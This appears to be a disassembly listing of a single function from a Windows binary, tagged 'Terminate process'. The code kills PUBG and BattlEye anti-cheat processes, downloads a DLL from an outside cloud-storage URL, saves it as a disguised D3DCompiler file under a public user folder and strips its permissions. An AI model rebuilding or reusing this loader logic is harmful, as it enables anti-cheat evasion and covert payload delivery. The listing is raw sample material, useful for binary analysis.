Function at 0x140135580
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x400]
sub rsp, 0x500
xor r12d, r12d
mov dword [rsp + 0x40], r12d
lea r9, [rsp + 0x78]
lea r8, [rsp + 0x40]
xor edx, edx
xor ecx, ecx
call qword [0x140140480]
cmp eax, 0xffffffff
jne 0x1401355dc
cmp dword [rsp + 0x78], 0x2747
je 0x1401355dc
mov r14d, r12d
mov r9d, dword [rsp + 0x44]
jmp 0x140135606
mov edx, dword [rsp + 0x40]
mov ecx, 0x40
call qword [0x140140048]
mov r14, rax
lea r9, [rsp + 0x78]
lea r8, [rsp + 0x40]
mov rdx, rax
xor ecx, ecx
call qword [0x140140480]
mov r9d, eax
mov r8d, r12d
test r9d, r9d
jle 0x1401356a0
mov r10, qword [0x1404b2d78]
mov r11, qword [0x1404b2d70]
movsxd rcx, r8d
imul rax, rcx, 0x274
cmp r11, qword [rax + r14 + 0x14]
jne 0x14013563c
cmp r10, qword [rax + r14 + 0x1c]
je 0x1401357b6
inc r8d
cmp r8d, r9d
jl 0x140135620
mov r15d, dword [rsp + 0x44]
mov edi, r12d
movsxd rsi, r9d
test r9d, r9d
jle 0x14013568e
lea rbx, [r14 + 0x2c]
cmp dword [rbx - 4], 1
jle 0x14013567f
cmp dword [rbx], r15d
jne 0x14013567f
movsxd rax, edi
imul rcx, rax, 0x274
add rcx, 0x14
add rcx, r14
lea rdx, [rsp + 0x44]
call qword [0x140140490]
inc edi
add rbx, 0x274
sub rsi, 1
jne 0x140135658
lea rdx, [rsp + 0x44]
lea rcx, [0x1404b2d70]
call qword [0x140140490]
lea rcx, str.taskkill__f__im_ExecPubg.exe
call fcn.140136050
lea rcx, str.taskkill__f__im_TslGame.exe
call fcn.140136050
mov ecx, 0x64
call qword [0x140140038]
lea rcx, str.taskkill__f__im_ucldr_battlegrounds_gl.exe
call fcn.140136050
lea rcx, str.taskkill__f__im_zksvc.exe
call fcn.140136050
lea rcx, str.taskkill__f__im_BEService.exe
call fcn.140136050
lea rcx, str.taskkill__f__im_beservice.exe
call fcn.140136050
mov dword [rsp + 0x7c], r12d
mov ecx, 0x5a00000
call fcn.14006f6c0
mov r13, rax
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp]
call fcn.140139580
xor eax, eax
mov dword [rsp + 0x44], eax
mov word [rsp + 0x48], ax
xor ecx, ecx
call fcn.1400d8210
mov ecx, eax
call fcn.14008f0f0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov ecx, 0x10
call fcn.14006f640
mov qword [rax + 8], r12
mov qword [rbp - 0x80], rax
lea rcx, [rbp - 0x80]
mov qword [rax], rcx
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
mov ebx, 0x10
call fcn.14008f0b0
mov r9d, eax
mov eax, 0x4ec4ec4f
imul r9d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1a
sub r9d, ecx
add r9b, 0x61
mov rcx, qword [rbp - 0x68]
mov rdx, qword [rbp - 0x60]
cmp rcx, rdx
jae 0x1401357c0
lea rax, [rcx + 1]
mov qword [rbp - 0x68], rax
lea rax, [rbp - 0x78]
cmp rdx, 0xf
cmova rax, qword [rbp - 0x78]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1401357c9
mov r15d, dword [rax + r14 + 0x24]
jmp 0x140135649
lea rcx, [rbp - 0x80]
call fcn.14000e750
sub rbx, 1
jne 0x140135765
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], r12
mov ecx, 0x10
call fcn.14006f640
lea rcx, [rbp - 0x58]
mov qword [rax], rcx
mov qword [rax + 8], r12
mov qword [rbp - 0x58], rax
mov ecx, 0x30
call fcn.14000f220
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x40], 0x20
mov qword [rbp - 0x38], 0x2f
movups xmm0, xmmword [str.C:UsersPublicAccountPictures_]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14016a1d8]
movups xmmword [rax + 0x10], xmm1
mov byte [rax + 0x20], bl
mov r14, qword [rbp - 0x40]
movabs rax, 0x7fffffffffffffff
sub rax, r14
cmp rax, 0xe
jae 0x14013584a
call fcn.140001ed0
int3
lea r15, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova r15, qword [rbp - 0x50]
mov qword [rsp + 0x50], r12
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
lea rsi, [r14 + 0xe]
mov ebx, 0xf
lea rdi, [rsp + 0x58]
mov ecx, 0x10
call fcn.14006f640
lea rcx, [rsp + 0x50]
mov qword [rax], rcx
mov qword [rax + 8], r12
mov qword [rsp + 0x50], rax
cmp rsi, rbx
jbe 0x1401358d5
mov rbx, rsi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x1401358b8
mov rbx, rax
jmp 0x1401358c4
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
call fcn.14000f220
mov rdi, rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rbx
mov r8, r14
mov rdx, r15
mov rcx, rdi
call fcn.140138ee0
movsd xmm0, qword [str.D3DCompiler_35]
movsd qword [rdi + r14], xmm0
mov eax, dword [0x14016a200]
mov dword [rdi + r14 + 8], eax
movzx eax, word [0x14016a204]
mov word [rdi + r14 + 0xc], ax
mov byte [rdi + rsi], 0
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x70]
mov rax, r8
sub rax, rdx
cmp rax, 4
jb 0x14013595a
lea rax, [rdx + 4]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x58]
cmp r8, 0xf
cmova rcx, qword [rsp + 0x58]
mov eax, dword [str..dll]
mov dword [rcx + rdx], eax
mov byte [rcx + rdx + 4], 0
lea rax, [rsp + 0x50]
jmp 0x140135979
mov qword [rsp + 0x20], 4
lea r9, str..dll
mov edx, 4
lea rcx, [rsp + 0x50]
call fcn.14000efd0
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.140009f90
mov edx, 3
lea rcx, [rsp + 0x44]
call fcn.140014180
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x1401359bc
mov rax, qword [rcx + 8]
mov qword [rcx + 8], r12
test rax, rax
je 0x1401359bc
nop dword [rax + rax]
mov qword [rax], r12
mov rax, qword [rax + 8]
test rax, rax
jne 0x1401359b0
lea rcx, [rsp + 0x44]
call fcn.1400142b0
mov rdi, qword [rsp + 0x70]
cmp rdi, 0xf
jbe 0x140135b29
mov rbx, qword [rsp + 0x58]
inc rdi
lea r14, [0x14016930c]
test rbx, rbx
jne 0x140135a44
test rdi, rdi
je 0x140135a44
lea rax, str.null_pointer_cannot_point_to_a_block_of_non_zero_size
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8d, 0x3b4
lea rdx, [0x140169310]
mov ecx, 2
call fcn.14008dbe0
cmp eax, 1
jne 0x140135a1f
int3
mov qword [rsp + 0x20], r12
mov r9d, 0x3b4
lea r8, [0x140169350]
lea rdx, [0x1401693b4]
lea rcx, str._null_pointer_cannot_point_to_a_block_of_non_zero_size_
call fcn.14008ed90
cmp rdi, 0x1000
jb 0x140135b1e
add rdi, 0x2f
mov rsi, qword [rbx - 8]
movabs rax, 0xfafafafafafafafa
lea r15, [0x1401692f8]
cmp qword [rbx - 0x10], rax
je 0x140135abf
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8d, 0xb2
lea rdx, [0x140169310]
mov ecx, 2
call fcn.14008dbe0
cmp eax, 1
jne 0x140135a9a
int3
mov qword [rsp + 0x20], r12
mov r9d, 0xb2
lea r8, [0x140169350]
lea rdx, [0x1401693b4]
lea rcx, [0x1401693b8]
call fcn.14008ed90
sub rbx, rsi
lea rax, [rbx - 0x10]
cmp rax, 0x1f
jbe 0x140135b1b
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8d, 0xbc
lea rdx, [0x140169310]
mov ecx, 2
call fcn.14008dbe0
cmp eax, 1
jne 0x140135af6
int3
mov qword [rsp + 0x20], r12
mov r9d, 0xbc
lea r8, [0x140169350]
lea rdx, [0x1401693b4]
lea rcx, [0x1401693b8]
call fcn.14008ed90
mov rbx, rsi
mov rdx, rdi
mov rcx, rbx
call fcn.14006f6a0
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x50], r12
mov edx, 0x10
call fcn.14006f6a0
mov ecx, 0x7d0
call qword [0x140140038]
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000a0e0
mov rcx, rax
call fcn.140136a60
mov rcx, rax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [0x140140020]
mov r15, rax
mov esi, 1
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [0x140140460]
mov r12, rax
test rax, rax
je 0x140135c53
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x4000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.https:__xiafa6.oss_cn_hangzhou.aliyuncs.com_PP1.dll
mov rcx, rax
call qword [0x140140458]
mov r14, rax
test rax, rax
je 0x140135c4a
xor edi, edi
cmp dword [rsp + 0x40], edi
jbe 0x140135c41
cmp edi, 0x5a00000
jae 0x140135c41
lea r9, [rsp + 0x40]
mov r8d, 0x3ff
lea rdx, [rbp]
mov rcx, r14
call qword [0x140140450]
mov ebx, dword [rsp + 0x40]
mov r8d, ebx
movsxd rcx, edi
add rcx, r13
lea rdx, [rbp]
call fcn.140138ee0
add edi, ebx
mov esi, edi
test ebx, ebx
jne 0x140135c03
mov rcx, r14
call qword [0x140140468]
mov rcx, r12
call qword [0x140140468]
mov ebx, esi
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x7c]
mov rcx, r15
cmp esi, 0x1000
jbe 0x140135c76
mov r8d, esi
mov rdx, r13
jmp 0x140135c83
mov r8d, 0x32ffb0
lea rdx, [0x140182dc0]
call qword [0x140140008]
mov rcx, r15
call qword [0x140140058]
mov r8, rbx
xor edx, edx
mov rcx, r13
call fcn.140139580
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000a0e0
mov rcx, rax
call fcn.140136a60
mov rcx, rax
call fcn.140137f30
xor ecx, ecx
test eax, eax
jne 0x140135d65
xor r9d, r9d
lea r8, [0x14016a278]
lea rdx, [0x14016a280]
call qword [0x140140440]
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000a0e0
mov rcx, rax
call fcn.140136a60
mov rcx, rax
mov edx, 3
call qword [0x140140028]
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000d460
lea rcx, [rsp + 0x50]
call fcn.1400075e0
movzx ebx, al
lea rcx, [rsp + 0x50]
call fcn.1400056d0
test bl, bl
je 0x140135d59
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000d460
lea rcx, [rsp + 0x50]
call fcn.1400078b0
lea rcx, [rsp + 0x50]
call fcn.1400056d0
lea rdx, [0x14016a2a0]
jmp 0x140135dfe
lea rdx, [0x14016a2c8]
jmp 0x140135dfe
mov r9d, 0x40
lea r8, [0x14016a2e0]
lea rdx, [0x14016a2e8]
call qword [0x140140440]
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000a0e0
mov rcx, rax
call fcn.140136a60
mov rcx, rax
mov edx, 3
call qword [0x140140028]
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000d460
lea rcx, [rsp + 0x50]
call fcn.1400075e0
movzx ebx, al
lea rcx, [rsp + 0x50]
call fcn.1400056d0
test bl, bl
je 0x140135df7
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000d460
lea rcx, [rsp + 0x50]
call fcn.1400078b0
lea rcx, [rsp + 0x50]
call fcn.1400056d0
lea rdx, str.Permissions_set_to_none_successfully.
jmp 0x140135dfe
lea rdx, str.File_does_not_exist.
lea rcx, [0x1404b4280]
call fcn.14000d5f0
mov rcx, rax
call fcn.140008f60
call fcn.140135e80
call fcn.140136110
xor ecx, ecx
call fcn.14008bd30
int3